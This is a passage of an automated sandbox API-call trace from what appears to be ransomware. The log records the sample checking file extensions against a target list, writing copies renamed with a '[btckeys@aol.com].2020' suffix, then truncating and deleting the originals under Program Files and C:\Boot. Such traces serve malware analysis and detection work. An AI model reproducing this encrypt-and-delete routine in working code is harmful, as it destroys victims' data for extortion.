(lpString=".bz2") returned 4 [0083.239] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0083.239] lstrlenW (lpString=".7z") returned 3 [0083.239] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0083.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0083.239] lstrlenW (lpString=".dbf") returned 4 [0083.239] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0083.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0083.239] lstrlenW (lpString=".1cd") returned 4 [0083.239] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0083.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0083.239] lstrlenW (lpString=".jpg") returned 4 [0083.239] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0083.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0083.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0083.239] lstrlenW (lpString=".doc") returned 4 [0083.239] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0083.239] lstrlenW (lpString=".docx") returned 5 [0083.239] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0083.239] lstrlenW (lpString=".pdf") returned 4 [0083.239] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0083.239] lstrlenW (lpString=".xls") returned 4 [0083.239] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0083.239] lstrlenW (lpString=".xlsx") returned 5 [0083.240] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0083.240] lstrlenW (lpString=".ppt") returned 4 [0083.240] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0083.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0083.240] lstrlenW (lpString=".zip") returned 4 [0083.240] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0083.240] lstrlenW (lpString=".rar") returned 4 [0083.240] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0083.240] lstrlenW (lpString=".bz2") returned 4 [0083.240] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0083.240] lstrlenW (lpString=".7z") returned 3 [0083.240] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0083.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0083.240] lstrlenW (lpString=".dbf") returned 4 [0083.240] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0083.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0083.240] lstrlenW (lpString=".1cd") returned 4 [0083.240] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0083.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0083.240] lstrlenW (lpString=".jpg") returned 4 [0083.240] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0083.240] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0083.240] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0083.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0083.242] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=47962) returned 1 [0083.242] CloseHandle (hObject=0x1d8) returned 1 [0083.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0083.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0083.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0083.242] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.242] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0083.243] GetLastError () returned 0x0 [0083.243] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xbb5a, lpOverlapped=0x0) returned 1 [0083.246] WriteFile (in: hFile=0x210, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xbb60, lpOverlapped=0x0) returned 1 [0083.247] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0083.247] WriteFile (in: hFile=0x210, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0083.247] SetEndOfFile (hFile=0x210) returned 1 [0083.247] CloseHandle (hObject=0x210) returned 1 [0083.247] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.248] SetEndOfFile (hFile=0x1d8) returned 1 [0083.249] CloseHandle (hObject=0x1d8) returned 1 [0083.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0083.249] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 1 [0083.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0083.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0083.250] lstrlenW (lpString=".doc") returned 4 [0083.250] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0083.250] lstrlenW (lpString=".docx") returned 5 [0083.250] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0083.250] lstrlenW (lpString=".pdf") returned 4 [0083.250] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0083.250] lstrlenW (lpString=".xls") returned 4 [0083.250] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0083.250] lstrlenW (lpString=".xlsx") returned 5 [0083.250] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0083.250] lstrlenW (lpString=".ppt") returned 4 [0083.250] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0083.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0083.250] lstrlenW (lpString=".zip") returned 4 [0083.250] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0083.250] lstrlenW (lpString=".rar") returned 4 [0083.250] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0083.250] lstrlenW (lpString=".bz2") returned 4 [0083.250] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0083.250] lstrlenW (lpString=".7z") returned 3 [0083.250] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0083.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0083.250] lstrlenW (lpString=".dbf") returned 4 [0083.250] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0083.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0083.251] lstrlenW (lpString=".1cd") returned 4 [0083.251] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0083.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0083.251] lstrlenW (lpString=".jpg") returned 4 [0083.251] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0083.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0083.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0083.251] lstrlenW (lpString=".doc") returned 4 [0083.251] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0083.251] lstrlenW (lpString=".docx") returned 5 [0083.251] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0083.251] lstrlenW (lpString=".pdf") returned 4 [0083.251] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0083.251] lstrlenW (lpString=".xls") returned 4 [0083.251] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0083.251] lstrlenW (lpString=".xlsx") returned 5 [0083.251] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0083.251] lstrlenW (lpString=".ppt") returned 4 [0083.251] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0083.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0083.251] lstrlenW (lpString=".zip") returned 4 [0083.251] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0083.251] lstrlenW (lpString=".rar") returned 4 [0083.251] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0083.251] lstrlenW (lpString=".bz2") returned 4 [0083.251] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0083.251] lstrlenW (lpString=".7z") returned 3 [0083.252] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0083.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0083.252] lstrlenW (lpString=".dbf") returned 4 [0083.252] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0083.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0083.252] lstrlenW (lpString=".1cd") returned 4 [0083.252] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0083.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0083.252] lstrlenW (lpString=".jpg") returned 4 [0083.252] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0083.252] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0083.252] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0083.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0083.253] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=3611) returned 1 [0083.253] CloseHandle (hObject=0x1d8) returned 1 [0083.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0083.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0083.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 17 os_tid = 0x5b8 [0060.805] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x38d06b0 [0060.805] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x38e06b8 [0060.805] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500428 [0060.805] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x5030e8 [0060.805] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500440 [0060.805] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3da0020 [0060.806] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500458 [0060.806] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500458, Size=0x20) returned 0x52f938 [0060.806] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500458 [0060.806] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500458, Size=0x20) returned 0x52f910 [0060.806] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0060.806] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0060.806] Wow64DisableWow64FsRedirection (in: OldValue=0x32aff58 | out: OldValue=0x32aff58*=0x0) returned 1 [0060.806] lstrlenW (lpString="kernel32.dll") returned 12 [0060.806] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52f938 | out: hHeap=0x4b0000) returned 1 [0060.806] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.807] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52f910 | out: hHeap=0x4b0000) returned 1 [0060.807] Sleep (dwMilliseconds=0x64) [0061.062] lstrcmpiW (lpString1=".mui", lpString2=".2020") returned 1 [0061.062] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0061.062] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0061.062] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=88144) returned 1 [0061.062] CloseHandle (hObject=0x168) returned 1 [0061.062] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0061.062] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.062] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.063] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0061.063] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0061.063] lstrlenW (lpString=".doc") returned 4 [0061.063] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.063] lstrlenW (lpString=".docx") returned 5 [0061.063] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.063] lstrlenW (lpString=".pdf") returned 4 [0061.063] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.063] lstrlenW (lpString=".xls") returned 4 [0061.063] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.063] lstrlenW (lpString=".xlsx") returned 5 [0061.063] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.063] lstrlenW (lpString=".ppt") returned 4 [0061.063] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.063] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0061.063] lstrlenW (lpString=".zip") returned 4 [0061.063] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.063] lstrlenW (lpString=".rar") returned 4 [0061.063] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.063] lstrlenW (lpString=".bz2") returned 4 [0061.063] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.063] lstrlenW (lpString=".7z") returned 3 [0061.063] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.063] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0061.063] lstrlenW (lpString=".dbf") returned 4 [0061.063] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.063] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0061.063] lstrlenW (lpString=".1cd") returned 4 [0061.063] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.064] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0061.064] lstrlenW (lpString=".jpg") returned 4 [0061.064] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.064] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0061.064] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0061.064] lstrlenW (lpString=".doc") returned 4 [0061.064] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.064] lstrlenW (lpString=".docx") returned 5 [0061.064] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.064] lstrlenW (lpString=".pdf") returned 4 [0061.066] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.067] lstrlenW (lpString=".xls") returned 4 [0061.067] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.067] lstrlenW (lpString=".xlsx") returned 5 [0061.067] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.067] lstrlenW (lpString=".ppt") returned 4 [0061.067] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.067] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0061.067] lstrlenW (lpString=".zip") returned 4 [0061.067] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.067] lstrlenW (lpString=".rar") returned 4 [0061.067] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.067] lstrlenW (lpString=".bz2") returned 4 [0061.067] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.067] lstrlenW (lpString=".7z") returned 3 [0061.067] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.067] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0061.067] lstrlenW (lpString=".dbf") returned 4 [0061.067] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.067] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0061.067] lstrlenW (lpString=".1cd") returned 4 [0061.067] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.067] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0061.067] lstrlenW (lpString=".jpg") returned 4 [0061.067] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.067] lstrcmpiW (lpString1=".mui", lpString2=".2020") returned 1 [0061.068] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0061.068] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0061.068] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=90704) returned 1 [0061.068] CloseHandle (hObject=0x168) returned 1 [0061.068] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0061.068] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.068] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.068] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0061.068] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0061.068] lstrlenW (lpString=".doc") returned 4 [0061.068] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.069] lstrlenW (lpString=".docx") returned 5 [0061.069] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.069] lstrlenW (lpString=".pdf") returned 4 [0061.069] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.069] lstrlenW (lpString=".xls") returned 4 [0061.069] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.069] lstrlenW (lpString=".xlsx") returned 5 [0061.069] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.069] lstrlenW (lpString=".ppt") returned 4 [0061.069] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.069] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0061.069] lstrlenW (lpString=".zip") returned 4 [0061.069] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.069] lstrlenW (lpString=".rar") returned 4 [0061.069] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.069] lstrlenW (lpString=".bz2") returned 4 [0061.069] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.069] lstrlenW (lpString=".7z") returned 3 [0061.069] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.069] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0061.069] lstrlenW (lpString=".dbf") returned 4 [0061.069] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.069] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0061.069] lstrlenW (lpString=".1cd") returned 4 [0061.069] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.069] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0061.069] lstrlenW (lpString=".jpg") returned 4 [0061.069] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.070] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0061.070] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0061.070] lstrlenW (lpString=".doc") returned 4 [0061.070] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.070] lstrlenW (lpString=".docx") returned 5 [0061.070] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.070] lstrlenW (lpString=".pdf") returned 4 [0061.070] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.070] lstrlenW (lpString=".xls") returned 4 [0061.070] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.070] lstrlenW (lpString=".xlsx") returned 5 [0061.070] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.070] lstrlenW (lpString=".ppt") returned 4 [0061.070] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.071] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0061.071] lstrlenW (lpString=".zip") returned 4 [0061.071] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.071] lstrlenW (lpString=".rar") returned 4 [0061.071] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.071] lstrlenW (lpString=".bz2") returned 4 [0061.071] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.071] lstrlenW (lpString=".7z") returned 3 [0061.071] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.071] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0061.071] lstrlenW (lpString=".dbf") returned 4 [0061.071] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.071] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0061.071] lstrlenW (lpString=".1cd") returned 4 [0061.071] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.071] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0061.071] lstrlenW (lpString=".jpg") returned 4 [0061.071] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.071] lstrcmpiW (lpString1=".mui", lpString2=".2020") returned 1 [0061.071] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0061.071] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, 